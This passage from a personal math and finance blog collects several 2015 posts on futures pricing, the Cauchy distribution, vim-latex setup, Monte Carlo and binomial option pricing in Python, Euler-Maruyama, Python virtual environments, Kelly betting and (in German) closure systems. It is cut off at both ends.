future. So what can you do? You can buy futures on the stocks of the
company. When the future expires two possible scenarios can happen:</p>
<ul>
<li>The price of the stock rises and you have to buy it at the cheap old
price. Then you can directly sell the stocks and make money like a
boss.</li>
<li>Or the stock can fall in value and you lose big. If you are clever
you sell the futures to some other sucker and only lose the
difference between the price at which you have bought the future and
the price when you sell the future.</li>
</ul>
<p>Note that the future should always mimic the price at the spot market,
that is the price of the underlying. In particular when the spot price
is rising, then the future price should also rise and vice versa.</p>
<p>Also note that futures are a zero-sum game. For every future you buy
there has to be another guy on the other side of the trade who sells
the future. So in future trading the sum of all bought and all sold
futures is always zero. In stocks this is not the case, since a
positive amount of stocks exists.</p>
<p>Why do you want to trade futures in the first place and not only
stocks? Well, futures provide leverage, meaning you only need some
margin to buy futures. Also futures can be on an index and so the risk
is diversified. As a third point, stocks can only be shorted intraday,
whereas futures can be shorted on longer timeframes.</p>
<h2 id="spot-future-parity">Spot-Future Parity</h2>
<p>As you probably already know from my article about options, there is a
put-call parity which establishes a relationship between the price of
a put option and a call option.
As I have said futures are significantly easier. The spot-future
parity gives you a relation between the price of the underlying \(S\)
in the spot market and the price of the future \(F\).</p>
<p>The fair price of the future should reflect the price of the
underlying. So I give you the formula and then talk about it.
Let \(r\) be the risk-free interest rate, \(x\) the days until
expiration and \(d\) the dividends of the underlying occuring between
now and the expiry date. Then
\begin{equation}
F=S\cdot \left(1+r\frac{x}{365}-d\right)
\end{equation}
If you look close, you see the this is exactly what the price should
be, namely the risk-free price of the stock at the current time
without the dividends.
Often the price of the future is near this theoretical price of the
model, but not always, due to “market inefficiencies”. In fact I have
not really found out why this occurs. I think it is in part due to
stuff like broker fees and liquidity which provide friction when
trading and so prevents clever people from arbitrage trading.</p>
Random Variables Without Expected Value
2015-09-01T00:00:00+00:00
https://hkopp.github.io/2015/09/random-variables-without-expected-value
<script type="text/javascript" src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
<h2 id="introduction">Introduction</h2>
<p>In some of the last posts I wrote that some formula should give us the
mean of a random variable “if it exists”.
In this post I am going to introduce an example, where an intuitive
approach of computing the expected value of a random variable does not
work. You can also read this post as some statistics, if you
substitute every ocurrence of “expected value” by “mean”.</p>
<h2 id="gaussian-distribution">Gaussian Distribution</h2>
<p>Suppose we want to compute the average weight of stuff on my desk.
How would you do that?
We will take samples and weight them. The average of the weight of the
samples should converge to the expected value of the weight of stuff
on my desk.
So we will take something and weight it. Suppose it weighs \(x_1\).
Then we take another thing and weigh it. Suppose it weighs \(x_2\).
And so on. Then, we will compute
\begin{equation}
\frac{1}{n}\sum\limits_{k=0}^n x_k
\end{equation}
This should be our expected weight for large enough \(n\).</p>
<p>In fact, I let you in on a little secret. The weight of the stuff on
my desk has a gaussian distribution with mean \(0\). Yes, I have some
anti-matter on my table.
So we can write python and produce a nice plot.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="n">np</span>
<span class="kn">import</span> <span class="nn">matplotlib</span> <span class="k">as</span> <span class="n">mpl</span>
<span class="kn">import</span> <span class="nn">matplotlib.pyplot</span> <span class="k">as</span> <span class="n">plt</span>
<span class="n">weights</span><span class="o">=</span><span class="n">np</span><span class="p">.</span><span class="n">random</span><span class="p">.</span><span class="n">randn</span><span class="p">(</span><span class="mi">100</span><span class="p">)</span>
<span class="n">plt</span><span class="p">.</span><span class="n">plot</span><span class="p">(</span><span class="n">weights</span><span class="p">.</span><span class="n">cumsum</span><span class="p">()</span><span class="o">/</span><span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mi">101</span><span class="p">))</span>
<span class="n">plt</span><span class="p">.</span><span class="n">show</span><span class="p">()</span></code></pre></figure>
<p><img src="http://hkopp.github.io/assets/without-expected-value/gauss.png" alt="Gaussian Distribution" /></p>
<p>As you can see, the first item has a very negative weight, but in the
end its influence fades as we weight more other stuff.
So the approach works. At least this time.
You can see that the expected value approaches \(0\).</p>
<h2 id="cauchy-distribution">Cauchy Distribution</h2>
<p>The stuff on the table on my colleague is more interesting.
Let us suppose that if we take a sample from his table this is akin to
taking two normally distributed variables and dividing them.
We can again produce a nice plot of the averages of the stuff we have
sampled:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="n">np</span>
<span class="kn">import</span> <span class="nn">matplotlib</span> <span class="k">as</span> <span class="n">mpl</span>
<span class="kn">import</span> <span class="nn">matplotlib.pyplot</span> <span class="k">as</span> <span class="n">plt</span>
<span class="n">weights</span><span class="o">=</span><span class="n">np</span><span class="p">.</span><span class="n">random</span><span class="p">.</span><span class="n">randn</span><span class="p">(</span><span class="mi">100</span><span class="p">)</span><span class="o">/</span><span class="n">np</span><span class="p">.</span><span class="n">random</span><span class="p">.</span><span class="n">randn</span><span class="p">(</span><span class="mi">100</span><span class="p">)</span>
<span class="n">plt</span><span class="p">.</span><span class="n">plot</span><span class="p">(</span><span class="n">weights</span><span class="p">.</span><span class="n">cumsum</span><span class="p">()</span><span class="o">/</span><span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mi">101</span><span class="p">))</span>
<span class="n">plt</span><span class="p">.</span><span class="n">show</span><span class="p">()</span></code></pre></figure>
<p><img src="http://hkopp.github.io/assets/without-expected-value/cauchy_small.png" alt="Cauchy Distribution" /></p>
<p>Hmm… not sure if that converges. Perhaps we have not yet enough
samples. Let us take \(10000\).</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">weights</span><span class="o">=</span><span class="n">np</span><span class="p">.</span><span class="n">random</span><span class="p">.</span><span class="n">randn</span><span class="p">(</span><span class="mi">10000</span><span class="p">)</span><span class="o">/</span><span class="n">np</span><span class="p">.</span><span class="n">random</span><span class="p">.</span><span class="n">randn</span><span class="p">(</span><span class="mi">10000</span><span class="p">)</span>
<span class="n">plt</span><span class="p">.</span><span class="n">plot</span><span class="p">(</span><span class="n">weights</span><span class="p">.</span><span class="n">cumsum</span><span class="p">()</span><span class="o">/</span><span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mi">10001</span><span class="p">))</span>
<span class="n">plt</span><span class="p">.</span><span class="n">show</span><span class="p">()</span></code></pre></figure>
<p><img src="http://hkopp.github.io/assets/without-expected-value/cauchy_big.png" alt="Cauchy Distribution" /></p>
<p>As you can see, this probably does not converge. There are some weird
jumps ocurring, when you think it stops changing much. This always
occurs when picking a sample which is very small or very large. In
fact, this is known as Cauchy distribution and you can prove that it
has no expected value. If you want to see the math, see wikipedia or a
good book. This is in my opinion the easiest distribution without
expected value.
This characteristic is also known as fat tail.</p>
<h2 id="outro">Outro</h2>
<p>Why is this important after all?
In mathematical finance one often assumes that the prices of
securities follow a brownian motion. This may work when pricing
derivatives, but it is wrong in general. Some more clever approaches
use a jump-diffusion process to model prices.
When you are trading you need to be aware of these fat tails and cut
them away. Some people try this by implementing stop losses, which
may even work in theory but sucks on a practical level. You may be
safer if you hedge these tails via options. But do not take my word
for it.</p>
Vim Latex
2015-08-15T00:00:00+00:00
https://hkopp.github.io/2015/08/vim-latex
<h2 id="intro">Intro</h2>
<p>Originally I wanted to explain how to install support for the type
setting system <a href="http://www.latex-project.org/">latex</a>
in the vastly superior text editor <a href="www.vim.org">vim</a>. The internet
tells you that this
comes in the form of a plugin called
<a href="http://vim-latex.sourceforge.net/">latex-vim</a>, so you need a plugin
manager for vim.</p>
<h2 id="vim-and-plugins">Vim and Plugins</h2>
<p>Once upon a time, people using vim had to simply copy their plugins
into the folder ~/.vim/.
This made management of plugins a pain in the ass, since it was
virtually impossible to remove already installed plugins or debug
plugins.
The story goes that some clever guys decided to write a plugin-manager for vim, which
is perversely another plugin. It is called pathogen and you need to
install it, before moving on to installing the plugins.</p>
<h2 id="how-it-really-works">How it really works</h2>
<p>I found out, that all of this is a lie.
In all useful operating systems, you can simply install vim-latex with the
package manager of your choice. This is an easy and painless process.
In my case (Fedora 22), the plugins live somewhere in
/usr/share/vim/vimfiles. But in fact I do not care. All I care about
is, that it works.</p>
<p>So, why did it take me so long to install vim-latex? Because I
thought, that it did not work. I tried all the handy shortkeys from
the documentation and they did nothing. The problem was that vim did
not understand that I was in fact editing tex-files. He thought, that
the filetype was ‘plaintex’ instead of ‘tex’.
Turns out, that there was a single line missing in my ~/.vimrc.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>let g:tex_flavor='latex'
</code></pre></div></div>
<p>With this, everything works. At least on my machine.</p>
Monte Carlo Option Pricing Again
2015-08-08T00:00:00+00:00
https://hkopp.github.io/2015/08/monte-carlo-option-pricing-again
<script type="text/javascript" src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
<h2 id="introduction">Introduction</h2>
<p>In this post I am going to explain option pricing via
<a href="/2015/07/approximating-sdes-with-euler-maruyama">Euler-Maruyama</a>.
As discussed <a href="/2015/01/put-call-parity-for-european-options">before</a>
we only need to be able to price call options to get the price of put
options.</p>
<p>In <a href="/2015/07/binomial-options-pricing">another post before</a>
we used a binomial tree for option pricing. This time we will
basically do the same, but start from an opposite direction.</p>
<p>Assume the price of the underlying \(S(t)\) is described by the
stochastical differential equation of geometric brownian motion:
\(\begin{align*}
dS(t)=\mu S(t)dt + \sigma S(t) dB(t)
\end{align*}\)
where \(B(t)\) is
<a href="/2015/03/martingales">brownian motion</a>.
The variable \(\mu\) corresponds to drift and \(\sigma\) behaves like
volatility.
We also need a known \(S(0)\).</p>
<p>This is slightly more general than in
<a href="/2015/07/binomial-options-pricing">the post before</a>.</p>
<p>We can now simulate some paths of the underlying on the time interval
up to expiry via Euler-Maruyama and compute the expected payoff as the
mean, if it exists.</p>
<h2 id="coding">Coding</h2>
<p>To be more precise we want to approximate the SDE on the interval
\([0,T]\). The strike price is denoted with \(E\).
If we discretize the SDE \(dS(t)=\mu S(t)dt + \sigma S(t) dB(t)\) we
get an approximation with
\(\begin{align*}
Y(0)=S(0) \text{ and }
Y(t_i)=Y(t_{i-1})+Y(t_{i-1})\cdot\mu\cdot\Delta t + Y(t_{i-1})\cdot \sigma\cdot\Delta B_i
\end{align*}\)
where \(\Delta B_i\) are i.i.d and normally distributed with mean
\(0\) and variance \(\Delta t\).
So let us write this in slow Python code.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="n">np</span>
<span class="kn">import</span> <span class="nn">random</span>
<span class="c1">#Parameters
</span><span class="n">tbegin</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">tend</span> <span class="o">=</span> <span class="mi">1</span>
<span class="n">deltat</span> <span class="o">=</span> <span class="p">.</span><span class="mi">0001</span>
<span class="n">t</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">arange</span><span class="p">(</span><span class="n">tbegin</span><span class="p">,</span> <span class="n">tend</span><span class="p">,</span> <span class="n">deltat</span><span class="p">)</span>
<span class="n">E</span><span class="o">=</span><span class="mf">1.0</span>
<span class="n">sigma</span> <span class="o">=</span> <span class="mf">0.8</span>
<span class="n">mu</span> <span class="o">=</span> <span class="mf">0.4</span>
<span class="n">S0</span> <span class="o">=</span> <span class="mi">1</span>
<span class="n">sqrtdt</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">sqrt</span><span class="p">(</span><span class="n">deltat</span><span class="p">)</span>
<span class="n">N</span><span class="o">=</span><span class="n">np</span><span class="p">.</span><span class="n">zeros</span><span class="p">(</span><span class="mi">10000</span><span class="p">)</span> <span class="c1">#do 10000 simulations
</span><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">xrange</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">N</span><span class="p">.</span><span class="n">size</span><span class="p">):</span>
<span class="n">y</span> <span class="o">=</span> <span class="n">S0</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">xrange</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">t</span><span class="p">.</span><span class="n">size</span><span class="p">):</span>
<span class="n">y</span> <span class="o">=</span> <span class="n">y</span> <span class="o">+</span> <span class="n">y</span> <span class="o">*</span> <span class="n">mu</span> <span class="o">*</span> <span class="n">deltat</span> <span class="o">+</span> <span class="n">y</span> <span class="o">*</span> <span class="n">sigma</span> <span class="o">*</span> <span class="n">random</span><span class="p">.</span><span class="n">gauss</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">np</span><span class="p">.</span><span class="n">sqrt</span><span class="p">(</span><span class="n">deltat</span><span class="p">))</span>
<span class="n">N</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">=</span><span class="n">y</span>
<span class="n">N</span><span class="o">=</span><span class="n">np</span><span class="p">.</span><span class="n">maximum</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">N</span><span class="o">-</span><span class="n">E</span><span class="p">)</span> <span class="c1">#payoff for call option
</span><span class="k">print</span><span class="p">(</span><span class="n">N</span><span class="p">.</span><span class="n">mean</span><span class="p">())</span></code></pre></figure>
<h2 id="outlook">Outlook</h2>
<p>If you are clever or if you can use google, then you know, that the
price of european options can also be computed explicitly. Yes, that
is right, but that was not the point of my post. The point of my post
was to show an easy example of how to price derivatives.<br />
According to the same method you can price any kind of exotic option,
where the payoff is not only dependant on the price of the asset at
expiration but on other stuff. Or you can price options with multiple
possible expiration times, like American or Bermudan options.</p>
<p>You may also argue that we do not know all those parameters like the
volatility and mean of the underlying. Yes, that is also right, but we
can guess them, for example via maximum-likelihood estimation, if we
have historical data of the asset.</p>
<p>Another interesting argument would be, that normal assets are unlikely
to follow geometric brownian motion. That is also right.
Distributions of returns have fat tails. But in the code above you can
plug in any stochastic process, instead of the geometric brownian
motion we used. You can also use a stochastic volatility model, i.e.,
a model, where the volatility itself is another stochastical process.
I, as an arrogant mathematician would say that this is an easy
exercise. If you do not trust me, try it yourself.</p>
Approximating Sdes With Euler Maruyama
2015-07-14T00:00:00+00:00
https://hkopp.github.io/2015/07/approximating-sdes-with-euler-maruyama
<script type="text/javascript" src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
<h2 id="introduction">Introduction</h2>
<p>In this post I am going to explain the Euler-Maruyama method for
approximating stochastical differential equations.</p>
<h2 id="euler-method">Euler method</h2>
<p>First, the Euler method. Suppose you have a (deterministic) ordinary differential
equation
\(\begin{align*}
X'(t)=f(X(t),t)
\end{align*}\)
where \(X'\) is the derivative of \(X\), \(f\) is a computable
function and the domains of definition are so that everything
“works fine”.
Suppose we want to approximate the solution on the closed interval
\([a,b]\).
We also need to have a boundary condition, e.g., that \(X(a)=X_0\)
to ensure uniqueness of the solution.</p>
<p>Let us now approximate the result. First choose a partitioning of the
interval \([a,b]\). We take contant stepsizes, but you can also use any
other partitioning. So choose a \(n>0\) “big” and then define the
stepsize as \(\Delta t:=\frac{b-a}{n}\) and the different steps as
\(t_i:=a+i\cdot \Delta t\) for \(0\leq i\leq n\).</p>
<p>We know from our boundary condition that \(X(t_0)=X(a)=X_0\).<br />
What is now a meaningful value for \(X(t_1)=X(t+\Delta t)\)?<br />
We know that \(X'(t_0)=f(X(t_0),t_0)=f(X_0,t_0)\) which we can
compute. Thus we can approximate the “real” solution \(X(t)\) in a
neighborhood of \(t_0\) by a line.
This works in a practical sense if \(n\) was chosen “big enough”,
since then \(\Delta t\) is small.</p>
<p>So a good guess for \(X(t_1)\) would be
\(X(t_1)=X(t_0)+f(X_0,t_0)\cdot\Delta t\).
We take the correct value and gradient at \(t_0\) and walk \(\Delta
t\).
More generally we can define an approximation \(Y(t)\) of \(X(t)\) via</p>
\[\begin{align*}
Y(t_0)=X_0 \text{ and }
Y(t_i)=Y(t_{i-1})+f(Y(t_{i-1}),t_{i-1})\cdot\Delta t
\end{align*}\]
<p>If this is not clear to you I suggest you stop here and draw a
picture.</p>
<h2 id="euler-maruyama-method">Euler-Maruyama method</h2>
<p>The Euler-Maruyama method is for SDEs the same as the Euler method is
for ODEs. Suppose we have the SDE</p>
\[\begin{align*}
d X(t)= f(X(t)) dt + g(X(t)) dB(t)
\end{align*}\]
<p>where \(B(t)\) is
<a href="/2015/03/martingales">brownian motion</a>.</p>
<p>We want to do the same, namely approximate \(X(t)\) on the closed
interval \([a,b]\).
Again we need a boundary condition like \(X(a)=X_0\).
And we also take a steplength \(\Delta t:=\frac{b-a}{n}\) and define
the different points as \(t_i:=a+i\cdot \Delta t\) for \(0\leq i\leq
n\).
Basically we do everything exactly as before.
We can also again approximate \(X(t_i)\) in a small neighborhood by a
line but this time the gradient of the line is stochastical in nature.
So we get as approximation the markov chain</p>
\[\begin{align*}
Y(t_0)=X_0 \text{ and }
Y(t_i)=Y(t_{i-1})+f(X(t_i))\cdot\Delta t + g(X(t_i))\cdot\Delta B_i
\end{align*}\]
<p>where \(\Delta B_i=B(t_i)-B(t_i-1)\) which are i.i.d. random variables
which follow a \(\mathcal{N}(0,\Delta t)\) distribution.</p>
<p>What does Markovian mean in this context? It means that for the
conditional expected values \(E(Y(t_i)|Y(t_l),l\leq
i)=E(Y(t_i)|Y(t_{i-1}))\) so the next expected value depends only on
the previous one.</p>
Binomial Options Pricing
2015-07-04T00:00:00+00:00
https://hkopp.github.io/2015/07/binomial-options-pricing
<script type="text/javascript" src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
<h2 id="introduction">Introduction</h2>
<p>In this post, I am going to explain how one can price options via
binomial trees.
As you perhaps know, a (european) <em>call</em> <em>option</em> \(C\) grants you the
right to buy at a future time \(T\) an <em>underlying</em> \(S\) at a price
\(E\), called <em>strike</em> <em>price</em>, which is known at time \(0\).
I have already written
<a href="/2015/01/put-call-parity-for-european-options">something about options</a>
before.
It is not necessary to read it, you just have to know what an option
is. Also it would be good to know, that via the put-call-parity for
european options, it is possible to price <em>put</em> options, assuming we know
the value of the according <em>call</em> option.
Well, that means that we can restrict ourselves in the following to
the pricing of call options, since with the put-call-parity, the price
of put options follows trivially.</p>
<h2 id="binomial-trees">Binomial trees</h2>
<p>The Cox-Ross-Rubinstein model, or more simply, the binomial options
pricing model assumes that we can model the price of the underlying
\(S\) with a binomial tree.
Normally the underlying would be something like a stock.
Assume that the price of the underlying currently is \(S\). Then in a
next step it can either go up by a factor of \(e^\sigma\), or it can
go down by \(e^{-\sigma}\). In other explanations you will often see
an increase by some constant \(\Delta\). This sucks, since then you
have to take care that the price never drops below zero. For those of
you in the know, I am using geometric Brownian motion instead of
“regular” Brownian motion.
In ASCII, that would be akin to the following:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> S*e^sigma
/
S
\
S*e^(-sigma)
</code></pre></div></div>
<p>Now, why not simply take more branches in the tree? Let
\(u=e^{\sigma\sqrt{\Delta t}}\), where \(\Delta t\) is a “sufficiently
small” time difference and \(d=1/u\) to make the notation
easier. Then we can have an even bigger tree.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> S*u^2
/
S*u
/ \
S S
\ /
S*d
\
S*d^2
</code></pre></div></div>
<p>and so on. I think you can imagine the principle behind the tree.</p>
<h2 id="options-pricing">Options pricing</h2>
<p>Now, what does this have to do with options pricing? Well, each of the
paths in the tree correnspond to a possible development of the
underlying. And we know that we can model the payoff at expiry time
\(T\) of a call option as \(\max\{ 0, S(T)-E\}\), where \(S(T)\) is
the price of the underlying at time \(T\) and \(E\) is the strike
price. In the regular Cox-Ross-Rubinstein model you would now look at
all paths and then go backwards.
We are doing a more sloppy approach.
We can simply observe enough possible developments of the
underlying, via picking enough paths in the binomial tree. Now for
each possible development of the underlying we have the according
price of the option. That means the mean of the option at the possible
outcomes converges to the “fair price” of the option. Note that the
price of the option has to exist in the first place.</p>
<p>Why does this work? Because we simulate the expected payoff of the option.
At least nearly. In a real-life scenario you would have to take care
of the risk free interest rate, but for now we leave this out of the
equation.
Computing stuff by hand is difficult, so I have written a simulation
in Python which computes the price of a european call option.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="n">np</span>
<span class="kn">import</span> <span class="nn">random</span>
<span class="c1">#Parameters
</span><span class="n">tbegin</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">tend</span> <span class="o">=</span> <span class="mi">1</span>
<span class="n">deltat</span> <span class="o">=</span> <span class="p">.</span><span class="mi">0001</span>
<span class="n">t</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">arange</span><span class="p">(</span><span class="n">tbegin</span><span class="p">,</span> <span class="n">tend</span><span class="p">,</span> <span class="n">deltat</span><span class="p">)</span>
<span class="n">E</span><span class="o">=</span><span class="mf">1.0</span>
<span class="n">sigma</span> <span class="o">=</span> <span class="mf">0.3</span>
<span class="n">S0</span> <span class="o">=</span> <span class="mi">1</span>
<span class="n">sqrtdt</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">sqrt</span><span class="p">(</span><span class="n">deltat</span><span class="p">)</span>
<span class="n">N</span><span class="o">=</span><span class="n">np</span><span class="p">.</span><span class="n">zeros</span><span class="p">(</span><span class="mi">10000</span><span class="p">)</span> <span class="c1">#do 10000 simulations
</span><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">xrange</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">N</span><span class="p">.</span><span class="n">size</span><span class="p">):</span>
<span class="n">y</span> <span class="o">=</span> <span class="n">S0</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">xrange</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">t</span><span class="p">.</span><span class="n">size</span><span class="p">):</span>
<span class="n">y</span> <span class="o">=</span> <span class="n">y</span> <span class="o">*</span> <span class="n">np</span><span class="p">.</span><span class="n">exp</span><span class="p">(</span><span class="n">random</span><span class="p">.</span><span class="n">choice</span><span class="p">([</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">])</span> <span class="o">*</span> <span class="n">sigma</span> <span class="o">*</span> <span class="n">sqrtdt</span><span class="p">)</span>
<span class="n">N</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">=</span><span class="n">y</span>
<span class="n">N</span><span class="o">=</span><span class="n">np</span><span class="p">.</span><span class="n">maximum</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">N</span><span class="o">-</span><span class="n">E</span><span class="p">)</span> <span class="c1">#payoff for call option
</span><span class="k">print</span><span class="p">(</span><span class="n">N</span><span class="p">.</span><span class="n">mean</span><span class="p">())</span></code></pre></figure>
<p>If you want to see the answer to the option price, then you need to have
python installed. And run my code. Learning experience is maximized if
you hack around with it and try different parameters.</p>
<p>Hope you had fun.</p>
Virtual Environments In Python
2015-06-02T00:00:00+00:00
https://hkopp.github.io/2015/06/virtual-environments-in-python
<p>In one of my last posts I installed python packages with pip and the <code class="language-plaintext highlighter-rouge">--user</code>
switch.
This worked, but sucked.
I was too stupid to manage packages with conda and would not even
advise my enemies to do so.
But I found a better way.</p>
<p>There is a tool called <code class="language-plaintext highlighter-rouge">vitualenv</code> which can set up virtual Python
instances.
It works in userspace and so does not interfere with my
package manager.
This may sound like an obvious thing to you, and perhaps I am noobish
for mentioning it, but I hope it helps someone.
Remember, I wanted to install
<a href="https://github.com/quantopian/zipline">zipline</a>.
So I did a</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>virtualenv ~/venv/zipline
New python executable <span class="k">in</span> /home/hjgk/venv/zipline/bin/python
Installing setuptools, pip...done.</code></pre></figure>
<p>which set up a new virtual environment in <code class="language-plaintext highlighter-rouge">~/venv/zipline</code>.
Note that zipline is not only the name of the package I want to
install, but also the name of my virtual environment.</p>
<p>Then I switched to the new environment with</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span><span class="nb">source</span> ~/venv/zipline/bin/activate</code></pre></figure>
<p>and my prompt was prepended with <code class="language-plaintext highlighter-rouge">(zipline)</code>, because I am now in my
new
virtual environment where I can install packages like a lunatic.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="o">(</span>zipline<span class="o">)</span><span class="nv">$ </span>pip <span class="nb">install </span>numpy&&pip <span class="nb">install </span>zipline</code></pre></figure>
<p>Now it is compiling and throwing some warnings, but finally it
finishes. At least in my case.</p>
<p>Then I tested everything according to the zipline docs</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="o">(</span>zipline<span class="o">)</span><span class="nv">$ </span>python ~/venv/zipline/bin/run_algo.py <span class="nt">-f</span> dual_mavg.py <span class="nt">--symbols</span> AAPL <span class="nt">--start</span> 2011-1-1 <span class="nt">--end</span> 2012-1-1 <span class="nt">-o</span> dma.pickle</code></pre></figure>
<p>And it worked!</p>
<p>Note that I have to write <code class="language-plaintext highlighter-rouge">~/venv/zipline/bin/run_algo.py</code>, since I
have not found out how to set a path in python, as in one of my
last posts.
But at least I am able to install packages without arguing with
aptitude.</p>
Kelly Betting
2015-05-20T00:00:00+00:00
https://hkopp.github.io/2015/05/kelly-betting
<script type="text/javascript" src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
<h1 id="intro">Intro</h1>
<p>In this post I am going to talk a bit about Kelly betting, since today
I was flabbergasted that I did not write anything about it yet. Kelly
betting is a strategy how to allocate money to bets.</p>
<h2 id="problem">Problem</h2>
<p>Assume we are playing a game. I am going to flip a coin. You can bet
an amount \(x\)$ on the result of the coinflip. If you are right, you
win \(x\)$. If you are wrong, you lose your \(x\)$. Let us say that
you know that my coin is nonrandom and lands on head with probability
\(p>0.5\). To further ease the problem assume that you are always
betting the same fraction \(f\) of your capital. Now, how should you
choose \(f\) to get returns bigger than any other strategy? Another
way of formulating the problem would be to maximize the expected
return.</p>
<p>Get out and try it before reading on. And I hope you will come back
with the right solution or at least utterly frustrated and nearly
crying.</p>
<h2 id="solution">Solution</h2>
<p>The expected return is \((1+f)\) each time we win and \((1-f)\) each
time we lose. Now putting those nasty probabilities in we get a return
of \((1+f)^p+(1-f)^{1-p}\). We need to find the maximal value of that
expression. To make things easier we can also find the maximal value
of the logarithm of that expression</p>
\[\begin{align*}
\log ((1+f)^p+(1-f)^{1-p})=
p\log(1+f) + (1-p) \log(1-f)
\end{align*}\]
<p>since the logarithm is increasing monotonically. So we have to set teh
derivative to zero. Observe that</p>
\[\begin{align*}
\frac{\partial}{\partial f} p\log(1+f) + (1-p) \log(1-f) &= 0\\
\Leftrightarrow \frac{p}{1+f}+\frac{p-1}{1-f} &= 0\\
\Leftrightarrow \frac{p}{1+f} &= \frac{1-p}{1-f}\\
\Leftrightarrow p(1-f) &= (1-p)(1+f)\\
\Leftrightarrow f &= 2p-1
\end{align*}\]
<p>You can plug some sensible values for \(p\) in it to check
correctness.</p>
<p>Now, let us generalize this problem because of mathematical elitism.
Let us say if you win with probability \(p\), you win a proportion
\(a\) of your initial bet and if you loose, then you win a proportion
\(b\), where \(b\) is possibly negative.
So our returns are \((1+fa)^p+(1+fb)^{1-p}\). Note that this is
essentially the same as before if we take \(a=1\) and \(b=-1\).
Now let us again maximize this, more exactly let us maximize the
logarithm. So we again set the derivative to zero.</p>
\[\begin{align*}
\frac{\partial}{\partial f} \log[(1+fa)^p+(1+fb)^{1-p}]\\
= \frac{\partial}{\partial f} p\log(1+fa)+(1-p)\log(1+fb)\\
= \frac{pa}{1+fa}+\frac{(1-p)b}{(1+fb)}
\end{align*}\]
<p>This is equal to zero if and only if</p>
\[\begin{align*}
\frac{pa}{1+fa}+\frac{(1-p)b}{(1+fb)} &= 0\\
\Leftrightarrow pa+pafb+(1-p)b+(1-p)bfa &= 0\\
\Leftrightarrow pa+(1-p)b+bfa &= 0\\
\Leftrightarrow fab=-pa+(p-1)b &= 0\\
\Leftrightarrow f=\frac{-pa+(p-1)b}{ab} &= 0
\end{align*}\]
<p>If we would now plug in the values for our first exercise \(a=1\) and
\(b=-1\), we would get the same result.</p>
Hüllensysteme
2015-04-25T00:00:00+00:00
https://hkopp.github.io/2015/04/hüllensysteme
<script type="text/javascript" src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
<h2 id="einführung">Einführung</h2>
<p>Vor einer Weile hat jemand einen Ausdruck aus einem Mathebuch zu einem
Treffen meiner lokalen Hackergruppe gebracht. Es ging um
Hüllensysteme; tiefste Mengentheorie, von der ich noch nie gehört
habe. Seine Behauptung war, dass ein Teil davon nicht stimmen könnte.
Aus welchen Buch es genau war, wollte er nicht sagen.
Ich habe mich nun damit beschäftigt und die Korrektheit der
betreffenden Aussage bewiesen.</p>
<h2 id="mittelteil">Mittelteil</h2>
<p>Ich habe ein Bild des Scans bekommen. Der Teil um den es geht ist die
unterstrichene Aussage im zweiten Bild.</p>
<p><img src="http://hkopp.github.io/assets/huellensysteme/huellensystemeI.jpg" alt="Huellensysteme_I" style="width: 800px;" /></p>
<p><img src="http://hkopp.github.io/assets/huellensysteme/huellensystemeII.jpg" alt="Huellensysteme_II" style="width: 800px;" /></p>
<p>Ich verwende im Folgenden für eine Menge \(E\) die Notation \(P(E)\) als
Potenzmenge von \(E\).</p>
<h3 id="definitionen">Definitionen</h3>
<p>Sei \(E\) eine Menge, ein Hüllensystem \(H\subseteq P(E)\) heißt
<em>Hüllensystem</em>, falls gilt:</p>
